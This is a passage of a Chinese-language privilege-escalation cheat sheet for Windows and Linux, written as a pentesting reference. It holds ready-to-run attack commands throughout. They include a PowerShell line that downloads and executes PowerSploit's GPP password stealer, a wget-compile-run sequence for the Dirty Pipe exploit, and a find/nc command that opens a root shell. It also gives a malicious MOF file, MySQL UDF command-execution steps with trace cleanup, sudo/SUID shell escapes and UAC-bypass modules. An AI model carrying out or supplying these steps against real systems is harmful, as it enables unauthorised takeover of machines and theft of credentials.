powershell.exe -exec bypass -Command "& {Import-Module .\PowerUp.ps1;Get-RegistryAlwaysInstallElevated}"
#当然也可以查看注册表键值是否被定义
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
利用方式:
#利用方法,启用AlwaysInstallElevated后,可以通过命令行调用msiexec安装msi文件,msi文件内包含要执行的Payload,Payload将会以System权限执行
msiexec /quiet /qn /i muma.msi
#msf 需要一个会话
run exploit/windows/local/always_install_elevated
3、组策略首选项提权
简介:Windows 2008 Server引入了一项新功能:策略首选项,组策略首选项使管理员可以部署影响域中计算机/用户的特定配置,通过在组策略管理控制台中配置的组策略首选项,管理员可以推出多种策略,例如,当用户登录其计算机时自动映射网络驱动器,更新内置管理员帐户的用户名或对注册表进行更改。
SYSVOL:SYSVOL是AD(活动目录)里面一个存储域公共文件服务器副本的共享文件夹,所有的认证用户都可以读取。SYSVOL包括登录脚本,组策略数据,以及其他域控所需要的域数据,这是因为SYSVOL能在所有域控里进行自动同步和共享。
所有的组策略均存储在如下位置:
\\<DOMAIN>\SYSVOL\<DOMAIN>\Policies\
组策略偏好GPP
win2008发布了GPP(Group Policy Preferences),其中GPP最有用的特性,是在某些场景存储和使用凭据,其中包括:映射驱动(Drives.xml)创建本地用户数据源(DataSources.xml)打印机配置(Printers.xml)创建/更新服务(Services.xml)计划任务(ScheduledTasks.xml)更改本地Administrator密码
为方便对所有机器进行操作,网络管理员会使用域策略进行统一的配置和管理,那么所有机器的本地管理员密码就是一样的,造成了即使不知道密码的情况下也能修改组策略首选项的密码,也可以通过脚本破解组策略首选项文件中密码的漏洞。
利用手法:
#Powershell获取cpassword
Get-GPPPassword.ps1
#PowerSploit 的 Get-GPPPassword模块 检索通过组策略首选项推送的帐户的明文密码和其他信息。
powershell "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Get-GPPPassword.ps1');Get-GPPPassword"Import-Module .\Get-GPPPassword.ps1;Get-GPPPassword
kali gpp-decrypt命令破解密码
#Msf
run post/windows/gather/credentials/gpp
#Empire
usemodule privesc/gpp
4、bypassUAC提权
简介:bypassUAC已经是老生长谈的话题了,用户帐户控制(UAC),它是Windows的一个安全功能,它支持防止对操作系统进行未经授权的修改,UAC确保仅在管理员授权的情况下进行某些更改。
a. UAC如何运行?
UAC通过阻止程序执行任何涉及有关系统更改/特定任务的任务来运行。除非尝试执行这些操作的进程以管理员权限运行,否则这些操作将无法运行。如果您以管理员身份运行程序,则它将具有更多权限,因为它将被“提升权限”,而不是以管理员身份运行的程序。
一些没有管理员权限无法完成的操作:
- 注册表修改(如果注册表项在HKEY_LOCAL_MACHINE下(因为它影响多个用户),它将是只读的)
- 加载设备驱动程序
- DLL注入
- 修改系统时间(时钟)
- 修改用户帐户控制设置(通过注册表,可以启用/禁用该设置,但您需要正确的权限才能执行此操作)
- 修改受保护的目录(例如Windows文件夹,Program Files)
- 计划任务(例如,以管理员权限自动启动)
UAC不会自动阻止恶意软件,其目的不是确定程序是否是恶意软件,而是在没有用户许可下对恶意软件的未授权行为进行掌控。
利用手法:
#Msf
exploit/windows/local/ask #弹出UAC确认窗口,点击后获得system权限
exploit/windows/local/bypassuac #此模块将通过进程注入使用可信任发布者证书绕过Windows UAC,它将生成关闭UAC标志的第二个shell。
exploit/windows/local/bypassuac_injection
#此模块将通过进程注入使用可信任的发布者证书绕过Windows UAC。它将生成关闭UAC标志的第二个shell。在普通技术中,该模块使用反射式DLL注入技术并只除去了DLL payload 二进制文件,而不是三个单独的二进制文件。但是,它需要选择正确的体系架构(对于SYSWOW64系统也使用x64)。如果指定exe::custom,应在单独的进程中启动 payload 后调用ExitProcess()
exploit/windows/local/bypassuac_fodhelper
#此模块将通过在当前用户配置单元下劫持注册表中的特殊键并插入将在启动Windows fodhelper.exe应用程序时调用的自定义命令来绕过Windows 10 UAC。它将生成关闭UAC标志的第二个shell。此模块修改注册表项,但在调用payload后将清除该项。该模块不需要payload的体系架构和操作系统匹配。如果指定exe:custom,则应在单独的进程中启动payload后调用ExitProcess()。
exploit/windows/local/bypassuac_eventvwr
#此模块将通过在当前用户配置单元下劫持注册表中的特殊键并插入将在启动Windows事件查看器时调用的自定义命令来绕过Windows UAC。它将生成关闭UAC标志的第二个shell。此模块修改注册表项,但在调用payload后将清除该项。该模块不需要payload的体系架构和操作系统匹配。如果指定EXE ::Custom,则应在单独的进程中启动payload后调用ExitProcess()
exploit/windows/local/bypassuac_comhijack
#此模块将通过在hkcu配置单元中创建COM处理程序注册表项来绕过Windows UAC。当加载某些较高完整性级别进程时,会引用这些注册表项,从而导致进程加载用户控制的DLL,这些DLL包含导致会话权限提升的payload。此模块修改注册表项,但在调用payload后将清除该项,这个模块需要payload的体系架构和操作系统匹配,但是当前的低权限meterpreter会话体系架构中可能不同。如果指定exe::custom,则应在单独的进程中启动payloa后调用ExitProcess()。此模块通过目标上的cmd.exe调用目标二进制文件,因此,如果cmd.exe访问受到限制,此模块将无法正常运行。
#Powershell
Invoke-PsUACme
#Empire
usemodule privesc/bypassuac
usemodule privesc/bypassuac_wscript
#cs
uac-dll
uac-token-duplication
....
5、令牌窃取
简介:令牌(token)是系统的临时秘钥,相当于账号和密码,用来决定是否允许这次请求和判断这次请求是属于哪一个用户的。它允许你在不提供密码或其他凭证的前提下,访问网络和系统资源,这些令牌将持续存在于系统中,除非系统重新启动。
令牌有很多种:
- 访问令牌(Access Token):表示访问控制操作主体的系统对象 。
- 会话令牌(Session Token):是交互会话中唯一的身份标识符。
- 密保令牌(Security Token):又叫做认证令牌或硬件令牌,是一种计算机身份校验的物理设备,例如U盾。
利用方式:
#msf 拿到一个会话
use incognito #进入incognito模块
list_tokens -u #列出令牌
Delegation Token:也就是授权令牌,它支持交互式登录(例如可以通过远程桌面登录访问)
Impresonation Token:模拟令牌,它是非交互的会话。
这里窃取令牌,主要是窃取进程中的令牌
#使用令牌假冒用户
impresonate_Token "令牌名"
......
这里也可以用其他的cs,empire上面的令牌窃取功能模块
说起令牌,让我想到了土豆(加模仿高权限令牌)!!!!这玩意真好用,真牛逼!
项目地址:
https://github.com/breenmachine/RottenPotatoNG/
RottenPotato(烂土豆)提权的原理可以简述如下:
- 欺骗 “NT AUTHORITY\SYSTEM”账户通过NTLM认证到我们控制的TCP终端。
- 对这个认证过程使用中间人攻击(NTLM重放),为“NT AUTHORITY\SYSTEM”账户本地协商一个安全令牌(过程为通过一系列的Windows API调用)。
- 模仿这个令牌,只有具有“模仿安全令牌权限”的账户才能去模仿别人的令牌,一般大多数的服务型账户(IIS、MSSQL等)有这个权限,大多数用户级的账户没有这个权限。
当然土豆系列都牛逼class!附上甜土豆github地址
https://github.com/CCob/SweetPotato
6、数据库提权
在windows上经常会装这两个数据库
- sqlserver数据库提权
- MySQL数据库提权
所以直接针对这两个数据库进行提权。
a. MSSQL提权:
启用xp_cmdshell(高权限用户)
#先获取高权限的数据库用户(sysadmin)
查找网站源码数据库链接文件(web.config /conn.asp/aspx config.asp /aspx dbconfig.asp/aspx)等文件,查找数据库链接信息,查找可进入数据库的用户名和密码
理论上,什么用户启的数据库,xp_cmdshell就执行什么权限
#爆破出用户名密码,或者收集到密码....等手段登入数据库,mssql可以外网登录
select IS_SRVROLEMEMBER('sysadmin')#查询是否为sysadmin用户,sysadmin执行命令继承了数据库的权限,前提在windows下,数据库(旧版本,新版本默认降权)默认没有被降权,默认就是system权限
如果有注入的话,sqlmap --is-dba 也能判断
#然后利用高权限用户执行反弹命令,脚本,木马什么的...
默认cmd的组件禁用,必须安装cmd_shell组件
EXEC sp_configure 'show advanced options', 1
GO
RECONFIGURE
GO
EXEC sp_configure 'xp_cmdshell', 1
GO
RECONFIGURE
GO
exec master..xp_cmdshell "whoami" --
b. MYSQL提权
MOF提权
简介:MOF文件是mysql数据库的扩展文件(在c:/windows/system32/wbem/mof/nullevt.mof)叫做”托管对象格式”,其作用是每隔五秒就会去监控进程创建和死亡,因为MOF文件每五秒就会执行,且是系统权限,所以如果我们有权限替换原有的mof文件,就能获得system权限
利用条件
- Windows<=2003(虽然很久远了,还是温习一下)
- mysql在c:windows/system32/mof目录有写权限
- 已知数据库账号密码
利用手法:
#mysql语句将恶意mov文件替换nullevt.mof,需先上传
select load_file("hacker.mof") into dumpfile "c:/windows/system32/wbem/mof/nullevt.mof"
mof文件样本
#pragma namespace("\\\\.\\root\\subscription")
instance of __EventFilter as $EventFilter
{
EventNamespace = "Root\\Cimv2";
Name = "filtP2";
Query = "Select * From __InstanceModificationEvent "
"Where TargetInstance Isa \"Win32_LocalTime\" "
"And TargetInstance.Second = 5";
QueryLanguage = "WQL";
};
instance of ActiveScriptEventConsumer as $Consumer
{
Name = "consPCSV2";
ScriptingEngine = "JScript";
ScriptText =
"var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"命令\")";
};
instance of __FilterToConsumerBinding
{
Consumer = $Consumer;
Filter = $EventFilter;
};
UDF提权
简介:UDF,user defined funcion,即用户自定义函数,用户可以通过自己增加函数对mysql功能进行扩充,文件后缀为.dll。
利用条件
- windows2003、windowsXP、windows7
- 拥有mysql的insert和delete权限
漏洞利用:
#首先我们要判断mysql版本,根据不同的版本:
mysql版本 < 5.2 , UDF导出到系统目录c:/windows/system32/
mysql版本 > 5.2 ,UDF导出到安装路径MySQL\Lib\Plugin\
直接查询插件安装目录show variables like %plugin%
#上传udf.dll 将udf.dll导出到插件目录,然后执行sql语句创建用户自定义函数,并利用他执行命令提权
create function cmd_shell returns string soname 'udf.dll';#创建函数
select cmd_shell('命令');#使用函数
drop function cmd_shell; #删除函数
#也可以自动化过程,使用sqlmap自动化上传插件
python sqlmap.py -u 'xxxx' --file-write=/lib_mysqludf_sys.so --file-dest=/usr/lib/mysql/plugin/
python sqlmap.py -u 'xxxx' --sql-shell
各种CVE
CVE-2016-6663
CVE-2016-6664
0x02 Linux
常见提权:
- 系统内核提权
- 第三方服务提权
- 数据库提权
- 密码收集提权
- 环境变量提权
- Suid提权
- Sudo提权
- 配置错误提权。
1、基础信息收集
a. 内核,操作系统和设备信息
uname -a 打印所有可用的系统信息
uname -r 内核版本
uname -n 系统主机名。
uname -m 查看系统内核架构(64位/32位)
hostname 系统主机名
lsb_release -a 发行版信息
cat /proc/version 内核信息
cat /etc/*-release 发行版信息
cat /etc/issue 发行版信息
cat /proc/cpuinfo CPU信息
b. 用户和群组
cat /etc/passwd 列出系统上的所有用户
cat /etc/group 列出系统上的所有组
groups 当前用户所在的组
groups test test用户所在的组
getent group xxx xxx组里的用户
grep -v -E "^#" /etc/passwd | awk -F: '$3 == 0 { print $1}' 列出所有的超级用户账户
whoami 查看当前用户
w 谁目前已登录,他们正在做什么
last 最后登录用户的列表
lastlog 所有用户上次登录的信息
lastlog –u %username% 有关指定用户上次登录的信息
可以看到yokan用户在sudo组里
c. 用户和权限信息
whoami 当前用户名
id 当前用户信息
cat /etc/sudoers 谁被允许以root身份执行
sudo -l 当前用户可以以root身份执行操作
yokan用户可以以root身份执行任意操作
d. 环境信息
env 显示环境变量
echo %PATH 路径信息
history 显示当前用户的历史命令记录
pwd 输出工作目录
cat /etc/profile 显示默认系统变量
cat /etc/shells 显示可用的shell
2、内核漏洞提权
提示:内核漏洞提权有风险,有可能会崩溃系统。
内核漏洞是我们几乎最先想到的提权方法。通杀的内核漏洞是十分少见的,因而我们应该先对系统相关的信息进行收集,收集方法参考第一小节基础信息收集
即可。大多内核漏洞通过内核版本能很快查到。
a. SearchSploit
用kali自带的searchsploit来搜索exploitdb中的漏洞利用代码
SearchSploit是一个Exploit-DB的命令行搜索工具,它还允许随身携带漏洞利用数据库的副本。
SearchSploit使用:
更新SearchSploit:
apt update && apt -y full-upgrade
searchsploit -u
基本搜索语法:
只需添加您想要查找的任意数量的搜索词:
searchsploit linux 2.6 ubuntu priv esc
Tip:如果你没有收到预期的结果,可以使用更通用的术语进行更广泛的搜索。如:Kernel 2.6.25 - >Kernel 2.6 / / Kernel 2.x。
Tip:不要使用缩写如:SQLi -> SQL Injection。
显示漏洞利用的完整路径:
-p, --path [EDB-ID] 显示漏洞利用的完整路径(如果可能,还将路径复制到剪贴板),后面跟漏洞ID号
不建议在本地的漏洞数据库中修改exp
,建议使用-m
参数复制那些有用的到当前的工作目录:
-m, --mirror [EDB-ID] 把一个exp拷贝到当前工作目录,参数后加目标id
exp利用:
将exp上传到目标技巧,编译运行(编译方法,在源码的注释里有)
gcc 9545.c -o expchmod 777 exp./exp
当然,以上只是非常理想的情况,我们经常会遇到没有gcc的坑爹服务器。这时我们就需要在本地编译。本地编译时不止要看exp源码注释的编译参数,也需要手动调整一下编译的参数,比如给gcc 加-m 32来编译32位。编译问题繁多,有困难找谷歌。
最后强调利用内核漏洞的几个注意点:
1.读源码注释,有exp基本信息和编译方法,不然可能连编译都不会
2.读源码,不然费劲编译完才发现不适用
3.读源码,不然遇到一个删全盘的”exp“怎么办
b. 脏牛漏洞(CVE-2016-5195)
漏洞原理:该漏洞具体为,get_user_page内核函数在处理Copy-on-Write(以下使用COW表示)的过程中,可能产出竞态条件造成COW过程被破坏,导致出现写数据到进程地址空间内只读内存区域的机会。修改su或者passwd程序就可以达到root的目的。
漏洞编号:CVE-2016-5195
漏洞名称:脏牛(Dirty COW)
漏洞危害:低权限用户利用该漏洞技术可以在全版本上实现本地提权
影响范围:3.9>Linux kernel >=2.6.22并且Android也受影响
利用脚本合集:https://github.com/dirtycow/dirtycow.github.io/wiki/PoCs
c. Dirty Pipe(CVE-2022-0847)
利用条件
5.8<=Linux kernel<5.16.11/5.15.25/5.10.102
EXP:
https://haxx.in/files/dirtypipez.c
#原理为 直接修改一个具有suid权限的可执行文件,然后执行这个可执行文件提权,完成提权后再把文件改回来
or
https://github.com/Arinerron/CVE-2022-0847-DirtyPipe-Exploit
#原理为 覆盖 /etc/passwd 中的 root 密码字段并在弹出 root shell 后恢复
利用:
wget https://haxx.in/files/dirtypipez.cgcc -o dirtypipez dirtypipez.c./dirtypipez /usr/bin/su
#任何具体suid权限的文件均可
3、SUID 提权
什么是suid?suid全称是Set owner User IDup on execution。这是Linux给可执行文件的一个属性——s标志。通俗的理解为其他用户执行这个程序的时候可以用该程序所有者/组的权限。需要注意的是,只有程序的所有者是0号或其他super user,同时拥有suid权限,才可以提权。
常见的可用来提权的Linux 可执行文件有:
Nmap, Vim, find, bash, more, less, nano, cp
查看可以suid 提权的可执行文件:
find / -perm -u=s -type f 2>/dev/null
或者
find / -user root -perm -4000 -print 2>/dev/null
下面列举几个常见的设置了SUID的应用程序提权手段:
- find
ls -al /usr/bin/find
-rwsr-xr-x 1 root root 162424 Jan 6 2012 /usr/bin/find
实用程序find用来在系统中查找文件。同时,它也有执行命令的能力。 因此,如果配置为使用SUID权限运行,则可以通过find执行的命令都将以root身份去运行。
比如:DC -1 靶机就是利用find 命令进行root 用户来执行命令
大部分Linux 系统都安装了nc。使用如下命令即可成功得到root shell:
find / -type f -exec /bin/bash \;
find / -exec nc -lvp 5555 -e /bin/sh \;
nc ip port
测试:
chomod u+s /usr/bin/find #chmod u+s 给某个程序的所有者suid权限。
- nmap
较旧版本的Nmap(2.02≤nmap<5.21)带有交互模式,从而允许用户执行shell命令。由于Nmap位于上面使用root权限执行的二进制文件列表中,因此可以使用交互式控制台来运行具有相同权限的shell。)
可以使用下命令进入namp交互模式
nmap --interactive
执行命令后会返回一个shell
nmap> !sh
sh-3.2# whoami
root
5.2.0 之后,nmap 还可以通过执行脚本来提权:
在某些发行版的Linux 可能会提权失败。具体原理移步p 师傅文章
# nse脚本
shell.nseos.execute('/bin/sh')
# nmap 提权
nmap --script=shell.nse
或者
echo 'os.execute("/bin/sh")' > getshell
sudo nmap --script=getshell
- vim
如果vim 是通过SUID运行,就会继承root用户的权限。可读取只有root能读取的文件。
vim /etc/shadow
vim 运行shell
vim:set shell=/bin/sh:shell
同理,满足条件的 less和 more都可。
- awk
awk 'BEGIN {system("/bin/bash")}'
- strace
strace -o/dev/null /bin/bash
4、利用环境变量提权
利用关键在于找到具有SUID权限的文件,环境变量中有自己能控制的路径,比如当前目录(.)
详细文章参考:https://xz.aliyun.com/t/2767
PATH
是Linux 和 Unix 操作系统中的环境变量,它指定存储可执行程序的所有bin和sbin目录。当用户在终端上执行任何命令时,它会通过PATH变量来响应用户执行的命令,并向shell发送请求以搜索可执行文件。超级用户通常还具有/sbin和/usr/sbin条目,以便于系统管理命令的执行。
使用echo命令显示当前PATH环境变量:
测试环境配置:
现在我们的当前目录是/home/yokan,我们将在当前目录下创建一个srcipt目录。然后cd到script目录中,编写一个简单的c程序来调用系统二进制文件的函数。
pwdmkdir scriptcd /scriptnano demo.c
demo.c文件内容如下图,你可以看到,我们调用了ps命令,即系统二进制文件:
然后使用gcc命令编译demo.c文件并且赋予编译文件SUID权限,命令如下:
gcc demo.c -o shell #需要以root权限编译
chmod u+s shell
ls -la shell
攻击利用:
首先,你需要先入侵靶机系统并且进入到提权阶段。假设你已经通过ssh成功登录到了靶机上,二话不说,我们直接使用find命令来搜索具有SUID或4000权限的文件。
find / -perm -u=s -type f 2>/dev/null
通过执行上述命令,攻击者可以遍历任何可执行文件,在这里我们可以看到/home/yokan/script目录下的shell文件具有SUID权限,如图:
于是我们cd到/home/yokan/script/目录下,ls一下,看到了名为shell的可执行文件。我们运行一下这个文件,可以看到shell文件尝试执行ps命令,这个命令是/bin目录下的用来查看进程状态的真实文件。
ls./shell
提权:
echo命令
cd /tmpecho “/bin/bash” > pschmod 777 psecho $PATHexport PATH=/tmp:$PATHcd /home/yokan/script./shellwhoami
其他更多的方法参考上面的文章。
5、利用第三方服务提权
当一些第三方服务,以root身份运行, 我们通过它拿到的shell就是root权限。
netstat -antup
该命令可以显示所有打开并正在监听的端口,我们可以通过此命令检查是否有可以利用的本地服务
ps -aux | grep root
该命令可以显示以root用户身份运行的服务
a. Docker 组提权
docker 组内用户执行命令的时候会自动在所有命令前添加 sudo。因为设计或者其他的原因,Docker 给予所有 docker 组的用户相当大的权力(虽然权力只体现在能访问 /var/run/docker.sock 上面)。默认情况下,Docker 软件包是会默认添加一个 docker 用户组的。Docker 守护进程会允许 root 用户和 docker
组用户访问 Docker。给用户提供 Docker 权限和给用户无需认证便可以随便获取的 root 权限差别不大。
docker组内用户执行如下命令,即可获得root权限
docker run -v /:/hostOS -i -t chrisfosterelli/rootplease
#参数
-v 将容器外部的目录
/ 挂载到容器内部
/hostOS这个容器的启动脚本是 exploit.sh,主要内容是:chroot 到容器的 /hostOS (也就是宿主机的 /),然后获取到宿主机的 root 权限。
测试:
创建了个用户dockertest
加入了docker组,然后执行如下命令,获得root权限
docker run -v /:/hostOS -i -t chrisfosterelli/rootplease
b. MySQL UDF 提权
先查看secure_file_priv
的值是否为空,因为只有为空我们才能继续下面的提权步骤
提权步骤:
- 获取udf代码
sqlmap中有现成的udf文件,分为32位和64位,一定要选择对版本,否则会显示:Can‘t open shared library ‘udf.dll‘。
sqlmap\udf\mysql\windows\32目录下存放着lib_mysqludf_sys.dll_
sqlmap\udf\mysql\windows\64目录下为64位的lib_mysqludf_sys.dll_
但是sqlmap 中 自带 的shell 以及一些二进制文件,为了防止被误杀都经过异或方式编码,不能直接使用的。可以利用sqlmap 自带的解码工具cloak.py,进入到 sqlmap\extra\cloak\cloak 目录下,执行命令:
cloak.py -d -i D:\sqlmap\udf\mysql\windows\32\lib_mysqludf_sys.dll_
sqlmap中的udf文件提供的函数:sys_eval,执行任意命令,并将输出返回。sys_exec,执行任意命令,并将退出码返回。sys_get,获取一个环境变量。sys_set,创建或修改一个环境变量。
- 将udf文件上传到指定位置
MySQL<5.0,导出路径随意;5.0 <= MySQL<5.1,则需要导出至目标服务器的系统目录(如:c:/windows/system32/)MySQL 5.1以上版本,必须要把udf.dll文件放到MySQL安装目录下的lib\plugin文件夹下才能创建自定义函数。
select @@basedir; #查看mysql安装目录
select 'It is dll' into dumpfile 'C:\\Program Files\\MySQL\\MySQL Server 5.1\\lib::$INDEX_ALLOCATION';
#利用NTFS ADS创建lib目录
select 'It is dll' into dumpfile 'C:\\Program Files\\MySQL\\MySQL Server 5.1\\lib\\plugin::$INDEX_ALLOCATION';
#利用NTFS ADS创建plugin目录
select 0xUDFcode into dumpfile 'C:\\Program Files\\MySQL\\MySQL Server 5.1\\lib\\plugin\\udf.dll';
#导出udfcode,注意修改udfcode
- 从udf文件中引入自定义函数
create function sys_eval returns string soname 'udf.dll';
#sys_eval是函数名称(可选shell,sys_exec,sys_eval),udf.dll是lib_mysqludf_sys.dll_上传后的文件名
- 执行命令
select * from mysql.func where name = 'sys_eval'; #查看创建的sys_eval函数select sys_eval('whoami'); #使用系统命令
- 痕迹清除
drop function sys_eval; #删除函数
delete from mysql.func where name='sys_eval' #删除函数
c. redis
如果Redis以root身份运行,黑客可以利用Redis写入SSH公钥文件,直接通过SSH免密码登录受害服务器。Redis 默认绑定在6379端口,并且没有开启认证,在没有任何访问策略的情况下,任何人可以直接在非授权情况下直接访问Redis服务并进行相关操作。
6、Sudo提权
一旦攻击者有权访问任何SUDO用户,那么他基本上就可以使用root权限执行任何命令。管理员可能只允许用户通过SUDO运行一些命令,但绝对不是所有命令,即使是使用这样的配置,他们也可能会在不知情的情况下引入漏洞,从而导致权限提升的风险。
无密码:
sudo -l
打印允许作为SUDO运行的命令
假如我们被允许以sudo运行find、cat、vi、more、less、nmap、perl、ruby、gdb、python
等任何编程语言编译器、解释器和编辑器,那么我们就可以通过这些命令,获得root权限。
实际环境中不一定会这么明显显示可用命令,某些配置也是可以使用这几个命令的,如果对sudo机制不熟悉,可以直接使用sudo+命令 测试是否可用。
例如vi
命令:
进入底线命令模式,输入:!/bin/bash,即可打开一个用户为root的shell
sudo vi test.txt:!/bin/bash
有密码:
如果知道sudo组用户的密码,可以直接sudo -i
提权。
sudo -i: 为了频繁的执行某些只有超级用户才能执行的权限,而不用每次输入密码,可以使用该命令。提示输入密码时该密码为当前账户的密码。没有时间限制。执行该命令后提示符变为“#”而不是“$”。想退回普通账户时可以执行“exit”或“logout” 。
补充:
直接在低权shell里面用sudo是不奏效的,这是因为出于安全考虑,linux要求用户必须从终端设备(tty)中输入密码,而不是标准输入(stdin)。换句话说,sudo在你输入密码的时候本质上是读取了键盘,而不是bash里面输入的字符。因此为了能够输入密码,我们必须模拟一个终端设备。
python就有这样的功能。在shell里面输入:
python -c 'import pty;pty.spawn("/bin/sh")'
就用python建立了一个虚拟终端,然后就可以使用sudo等等命令了。
a. Linux sudo权限提升漏洞(CVE-2021-3156)
概述
当sudo通过 -s 或 -i 命令行选项在shell模式下运行命令时,它将在命令参数中使用反斜杠转义特殊字符。但使用 -s 或 -i 标志运行 sudoedit 时,实际上并未进行转义,从而可能导致缓冲区溢出。因此只要存在sudoers文件(通常是 /etc/sudoers),攻击者就可以使用本地普通用户利用sudo获得系统root权限。
影响版本
sudo 1.8.2 - 1.8.31p2
sudo 1.9.0 - 1.9.5p1
查看sudo版本
sudo --version
POC:https://github.com/worawit/CVE-2021-3156
复现
sudo --version
python exploit_defaults_mailer.py/tmp/sshell
7、文件权限配置不当
当某个进程启动权限为ROOT,对应文件编辑权限为普通用户时,我们可以利用该问题点进行提权。
pspy(https://github.com/DominicBreuker/pspy)工具提供了普通用户权限即可监听进程信息
8、计划任务配置不当
Cron任务常常以root权限运行。如果我们可以成功篡改Cron任务中定义的任何脚本或二进制文件,我们便可以使用root权限执行任意代码。
查看计划任务的方法:
crontab -lls -alh /var/spool/croncat /etc/cron*
9、Linux Polkit权限提升漏洞(CVE-2021-4034)
漏洞描述:该漏洞是由于pkexec无法正确处理调用参数,从而将环境变量作为命令执行,具有任意用户权限的攻击者都可以在默认配置下通过修改环境变量来利用此漏洞,从而获得受影响主机的root权限。
受影响linux:
2009年5月至 2022 年1月26日发布的所有Polkit 版本
Polkit预装在CentOS、Ubuntu、Debian、Redhat、Fedora、Gentoo、Mageia等多个Linux发行版上,所有存在该版本范围Polkit的Linux系统均受影响。
受影响国产化操作系统:
- 银河麒麟高级服务器操作系统 V10
- 银河麒麟高级服务器操作系统 V10 SP1
- 银河麒麟高级服务器操作系统 V10 SP2
- 统信 UOS 服务器操作系统 V20
- 银河麒麟桌面版操作系统 V10
- 银河麒麟桌面版操作系统 V10 SP1
- 统信 UOS 桌面版操作系统 V20
- 中标麒麟桌面版操作系统 V7.0
版本检测:
Linux系统用户可以通过查看Polkit版本来判断当前系统是否在受影响范围内,主流Linux发行版命令如下:
CentOS、RedHat 系列:
rpm -qa polkit
Debian、Ubuntu 系列:
dpkg -l policykit-1
不受影响版本
CentOS:
CentOS 6:polkit-0.96-11.el6_10.2
CentOS 7:polkit-0.112-26.el7_9.1
CentOS 8.0:polkit-0.115-13.el8_5.1
CentOS 8.2:polkit-0.115-11.el8_2.2
CentOS 8.4:polkit-0.115-11.el8_4.2
Ubuntu:
Ubuntu 14.04 ESM:policykit-1-0.105-4ubuntu3.14.04.6+esm1
Ubuntu 16.04 ESM:policykit-1-0.105-14.1ubuntu0.5+esm1
Ubuntu 18.04 LTS:policykit-1-0.105-20ubuntu0.18.04.6
Ubuntu 20.04 LTS:policykit-1-0.105-26ubuntu1.2
Ubuntu 21.10:policykit-1-0.105-31ubuntu0.1
Debain:
Debain stretch:policykit-1 0.105-18+deb9u2
Debain buster:policykit-1 0.105-25+deb10u1
Debain bullseye:policykit-1 0.105-31+deb11u1
Debain bookworm,bullseye:policykit-1 0.105-31.1
漏洞复现:
CentOS环境
利用:
exp网上很多。也很稳定。也算是个”神洞“了。